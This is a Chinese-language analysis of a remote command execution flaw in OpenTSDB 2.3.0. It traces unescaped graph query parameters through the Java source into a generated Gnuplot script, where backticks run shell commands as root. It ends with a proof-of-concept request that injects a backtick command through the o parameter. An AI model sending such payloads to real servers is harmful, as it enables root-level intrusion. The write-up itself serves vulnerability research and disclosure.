Opentsdb是基于Hbase的分布式的,可伸缩的时间序列数据库。官方提供了一个web界面来提供对查询数据进行可视化分析,其背后的绘图由Gnuplot支持。其Github地址为: https://github.com/OpenTSDB/opentsdb 。在某些版本(比如2.3.0,以下分析以2.3.0版本为例)中,其提供的Web接口存在远程命令执行漏洞,一旦利用成功将以root权限执行。分析见下。
在opentsdb中,默认情况下tsd.core.enable_ui
开启,允许通过http来进行rpc调用。当访问时/q?xx=xxx
时,对应的rpc接口即GraphHandler
。见 src/tsd/RpcManager.java:297:
private void initializeBuiltinRpcs(final String mode,
final ImmutableMap.Builder<String, TelnetRpc> telnet,
final ImmutableMap.Builder<String, HttpRpc> http) {
...
if (enableUi) {
...
http.put("q", new GraphHandler());
...
}
...
在 src/tsd/GraphHandler.java:108 execute中
public void execute(final TSDB tsdb, final HttpQuery query) {
...
try {
doGraph(tsdb, query);
} catch (IOException e) {
query.internalError(e);
} catch (IllegalArgumentException e) {
query.badRequest(e.getMessage());
}
}
跟入 doGraph
其中接受参数在
src/tsd/GraphHandler.java:198 doGraph 中:
private void doGraph(final TSDB tsdb, final HttpQuery query)
throws IOException {
final String basepath = getGnuplotBasePath(tsdb, query);
// 获取 start 参数,保证格式正确,否则抛出错误
long start_time = DateTime.parseDateTimeString(
query.getRequiredQueryStringParam("start"),
query.getQueryStringParam("tz"));
...
// 获取 end 参数,保证格式正确,否则抛出错误
long end_time = DateTime.parseDateTimeString(
query.getQueryStringParam("end"),
query.getQueryStringParam("tz"));
...
// 获取 o 参数
List<String> options = query.getQueryStringParams("o");
...
final Plot plot = new Plot(start_time, end_time,
DateTime.timezones.get(query.getQueryStringParam("tz")));
// 设置 plot 维度,无影响,可忽略
setPlotDimensions(query, plot);
// 设置 plot 参数, 下文讲解
setPlotParams(query, plot);
...
final RunGnuplot rungnuplot = new RunGnuplot(query, max_age, plot, basepath,
aggregated_tags, npoints);
...
// Fetch global annotations, if needed
if (...) {
...
} else {
// 执行画图程序
execGnuplot(rungnuplot, query);
}
}
从请求中获取对应值并设置plot参数在setPlotParams(query, plot);
中完成:
static void setPlotParams(final HttpQuery query, final Plot plot) {
final HashMap<String, String> params = new HashMap<String, String>();
final Map<String, List<String>> querystring = query.getQueryString();
String value;
if ((value = popParam(querystring, "yrange")) != null) {
params.put("yrange", value);
}
if ((value = popParam(querystring, "y2range")) != null) {
params.put("y2range", value);
}
if ((value = popParam(querystring, "ylabel")) != null) {
params.put("ylabel", stringify(value));
}
if ((value = popParam(querystring, "y2label")) != null) {
params.put("y2label", stringify(value));
}
if ((value = popParam(querystring, "yformat")) != null) {
params.put("format y", stringify(value));
}
if ((value = popParam(querystring, "y2format")) != null) {
params.put("format y2", stringify(value));
}
if ((value = popParam(querystring, "xformat")) != null) {
params.put("format x", stringify(value));
}
if ((value = popParam(querystring, "ylog")) != null) {
params.put("logscale y", "");
}
if ((value = popParam(querystring, "y2log")) != null) {
params.put("logscale y2", "");
}
if ((value = popParam(querystring, "key")) != null) {
params.put("key", value);
}
if ((value = popParam(querystring, "title")) != null) {
params.put("title", stringify(value));
}
if ((value = popParam(querystring, "bgcolor")) != null) {
params.put("bgcolor", value);
}
if ((value = popParam(querystring, "fgcolor")) != null) {
params.put("fgcolor", value);
}
if ((value = popParam(querystring, "smooth")) != null) {
params.put("smooth", value);
}
if ((value = popParam(querystring, "style")) != null) {
params.put("style", value);
}
// This must remain after the previous `if' in order to properly override
// any previous `key' parameter if a `nokey' parameter is given.
if ((value = popParam(querystring, "nokey")) != null) {
params.put("key", null);
}
plot.setParams(params);
}
为方便起见,整理一下http请求参数、java代码、plot参数的对应关系。有一些参数经过了stringify
,用于后续的JSON格式的转换。经过stringify
的参数都会被双引号包含(见下面的代码),难以后续逃逸使用。还有一些参数直接被设定为空值。这些参数对应如下:
http请求参数 | Java代码 | plot参数 |
---|---|---|
ylabel | put("ylabel", stringify(value)) | ylabel |
y2label | put("y2label", stringify(value)) | y2label |
yformat | put("format y", stringify(value)) | format y |
y2format | put("format y2", stringify(value)) | format y2 |
xformat | put("format x", stringify(value)) | format x |
ylog | put("logscale y", "") | logscale y |
y2log | put("logscale y2", "") | logscale y2 |
title | put("title", stringify(value)) | title |
stringify
定义在 src/tsd/GraphHandler.java:658 :
private static String stringify(final String s) {
final StringBuilder buf = new StringBuilder(1 + s.length() + 1);
buf.append('"');
HttpQuery.escapeJson(s, buf); // Abusing this function gets the job done.
buf.append('"');
return buf.toString();
}
escapeJson
定义在 src/tsd/HttpQuery.java:471 中,主要对一些特殊字符进行转义:
static void escapeJson(final String s, final StringBuilder buf) {
final int length = s.length();
int extra = 0;
// First count how many extra chars we'll need, if any.
for (int i = 0; i < length; i++) {
final char c = s.charAt(i);
switch (c) {
case '"':
case '\\':
case '\b':
case '\f':
case '\n':
case '\r':
case '\t':
extra++;
continue;
}
if (c < 0x001F) {
extra += 4;
}
}
if (extra == 0) {
buf.append(s); // Nothing to escape.
return;
}
buf.ensureCapacity(buf.length() + length + extra);
for (int i = 0; i < length; i++) {
final char c = s.charAt(i);
switch (c) {
case '"': buf.append('\\').append('"'); continue;
case '\\': buf.append('\\').append('\\'); continue;
case '\b': buf.append('\\').append('b'); continue;
case '\f': buf.append('\\').append('f'); continue;
case '\n': buf.append('\\').append('n'); continue;
case '\r': buf.append('\\').append('r'); continue;
case '\t': buf.append('\\').append('t'); continue;
}
if (c < 0x001F) {
buf.append('\\').append('u').append('0').append('0')
.append((char) Const.HEX[(c >>> 4) & 0x0F])
.append((char) Const.HEX[c & 0x0F]);
} else {
buf.append(c);
}
}
}
还有一些参数并没有经过转义等,如下表
http请求参数 | Java代码 | plot参数 |
---|---|---|
yrange | put("yrange", value) | yrange |
y2range | put("y2range", value) | y2range |
key | put("key", value) | key |
bgcolor | put("bgcolor", value) | bgcolor |
fgcolor | put("fgcolor", value) | fgcolor |
smooth | put("smooth", value) | smooth |
style | put("style", value) | style |
在完成参数设置后,创建了一个RunGnuplot
对象,其中前面解析到的参数即对应的写入到了plot
属性中
private static final class RunGnuplot implements Runnable {
private final HttpQuery query;
private final int max_age;
private final Plot plot;
private final String basepath;
private final HashSet<String>[] aggregated_tags;
private final int npoints;
public RunGnuplot(final HttpQuery query,
final int max_age,
final Plot plot,
final String basepath,
final HashSet<String>[] aggregated_tags,
final int npoints) {
...
this.plot = plot;
if (IS_WINDOWS)
this.basepath = basepath.replace("\\", "\\\\").replace("/", "\\\\");
else
this.basepath = basepath;
...
}
在doGraph
的最后执行了execGnuplot(rungnuplot, query);
,即src/tsd/GraphHandler.java:256
private void execGnuplot(RunGnuplot rungnuplot, HttpQuery query) {
try {
gnuplot.execute(rungnuplot);
} catch (RejectedExecutionException e) {
query.internalError(new Exception("Too many requests pending,"
+ " please try again later", e));
}
}
这边RunGnuplot
实现了Runnable
接口,因此当线程开始执行时调用的是RunGnuplot
的run
方法:
private static final class RunGnuplot implements Runnable {
...
public void run() {
try {
execute();
} catch (BadRequestException e) {
query.badRequest(e.getMessage());
} catch (GnuplotException e) {
query.badRequest("<pre>" + e.getMessage() + "</pre>");
} catch (RuntimeException e) {
query.internalError(e);
} catch (IOException e) {
query.internalError(e);
}
}
跟入execute()
:
private void execute() throws IOException {
final int nplotted = runGnuplot(query, basepath, plot);
...
}
跟入runGnuplot
,位置在src/tsd/GraphHandler.java:758
static int runGnuplot(final HttpQuery query,
final String basepath,
final Plot plot) throws IOException {
final int nplotted = plot.dumpToFiles(basepath);
...
final Process gnuplot = new ProcessBuilder(GNUPLOT,
basepath + ".out", basepath + ".err", basepath + ".gnuplot").start();
...
return nplotted;
}
dumpToFiles
方法定义在src/graph/Plot.java:196
:
public int dumpToFiles(final String basepath) throws IOException {
int npoints = 0;
final int nseries = datapoints.size();
final String datafiles[] = nseries > 0 ? new String[nseries] : null;
FileSystem.checkDirectory(new File(basepath).getParent(),
Const.MUST_BE_WRITEABLE, Const.CREATE_IF_NEEDED);
... // 省略一些初始化的文件写入操作
if (npoints == 0) {
// 之前提到的 yrange 是通过put("yrange", value)获得
// 但在这里由于某些条件(npoints == 0)会直接被硬编码为 [0:10]
params.put("yrange", "[0:10]"); // Doesn't matter what values we use.
}
writeGnuplotScript(basepath, datafiles);
return npoints;
}
跟入writeGnuplotScript(basepath, datafiles)
,这个方法会生成真正的Gnuplot脚本,方便起见我往里面加了注释
/**
* Generates the Gnuplot script.
* @param basepath The base path to use.
* @param datafiles The names of the data files that need to be plotted,
* in the order in which they ought to be plotted. It is assumed that
* the ith file will correspond to the ith entry in {@code datapoints}.
* Can be {@code null} if there's no data to plot.
*/
private void writeGnuplotScript(final String basepath,
final String[] datafiles) throws IOException {
final String script_path = basepath + ".gnuplot";
// gp即要生成的Gnuplot脚本
final PrintWriter gp = new PrintWriter(script_path);
try {
// XXX don't hardcode all those settings. At least not like that.
gp.append("set term png small size ")
// Why the fuck didn't they also add methods for numbers?
.append(Short.toString(width)).append(",")
.append(Short.toString(height));
// 获取了 smooth,fgcolor,style,bgcolor这四个参数
final String smooth = params.remove("smooth");
final String fgcolor = params.remove("fgcolor");
final String style = params.remove("style");
String bgcolor = params.remove("bgcolor");
// 一些边界情况
if (fgcolor != null && bgcolor == null) {
bgcolor = "xFFFFFF"; // So use a default.
}
if (bgcolor != null) {
if (fgcolor != null && "transparent".equals(bgcolor)) {
bgcolor = "transparent xFFFFFF";
}
// 往Gnuplot脚本中写入参数bgcolor
gp.append(' ').append(bgcolor);
}
if (fgcolor != null) {
// 往Gnuplot脚本中写入参数fgcolor
gp.append(' ').append(fgcolor);
}
gp.append("\n"
+ "set xdata time\n"
+ "set timefmt \"%s\"\n"
+ "if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right\n"
+ "set output \"").append(basepath + ".png").append("\"\n"
+ "set xrange [\"")
.append(String.valueOf((start_time & UNSIGNED) + utc_offset))
.append("\":\"")
.append(String.valueOf((end_time & UNSIGNED) + utc_offset))
.append("\"]\n");
// 往Gnuplot脚本中写入参数format x 会被双引号包裹
if (!params.containsKey("format x")) {
gp.append("set format x \"").append(xFormat()).append("\"\n");
}
....
if (params != null) {
for (final Map.Entry<String, String> entry : params.entrySet()) {
// 对params中剩下的参数,key即名字,value即对应的值
final String key = entry.getKey();
final String value = entry.getValue();
if (value != null) {
// 往Gnuplot脚本中写入对应参数
gp.append("set ").append(key)
.append(' ').append(value).write('\n');
} else {
gp.append("unset ").append(key).write('\n');
}
}
}
...
gp.write("plot ");
for (int i = 0; i < nseries; i++) {
...
if (smooth != null) {
// 往Gnuplot脚本中写入对应 smooth 参数
gp.append(" smooth ").append(smooth);
}
// TODO(tsuna): Escape double quotes in title.
// 往Gnuplot脚本中写入对应 title 参数,但是被双引号包裹了
gp.append(" title \"").append(title).write('"');
...
}
在完成了plot.dumpToFiles(basepath);
后,开启子进程运行生成的Gnuplot脚本:
final Process gnuplot = new ProcessBuilder(GNUPLOT,
basepath + ".out", basepath + ".err", basepath + ".gnuplot").start();
而gnuplot中允许使用反引号来执行sh命令,
交互模式下:
脚本执行模式下:
因此我们可以通过远程控制特定的参数,使得Gnuplot在运行脚本时远程命令执行。支持远程命令执行的可控参数如下:
http请求参数 | Java代码 | plot参数 |
---|---|---|
y2range | put("y2range", value) | y2range |
key | put("key", value) | key |
bgcolor | put("bgcolor", value) | bgcolor |
fgcolor | put("fgcolor", value) | fgcolor |
smooth | put("smooth", value) | smooth |
style | put("style", value) | style |
o | 省略 | 省略 |
先查出可以使用的metrics
GET /suggest?type=metrics&q= HTTP/1.1
发包,在参数位置处填入payload。
GET /q?start=2018/07/05-00:00:00&end=2018/07/30-00:00:00&m=sum:rate:env.air&o=%6ls%60&yrange=%5B0:%5D&wxh=1900x738&style=linespoint&json HTTP/1.1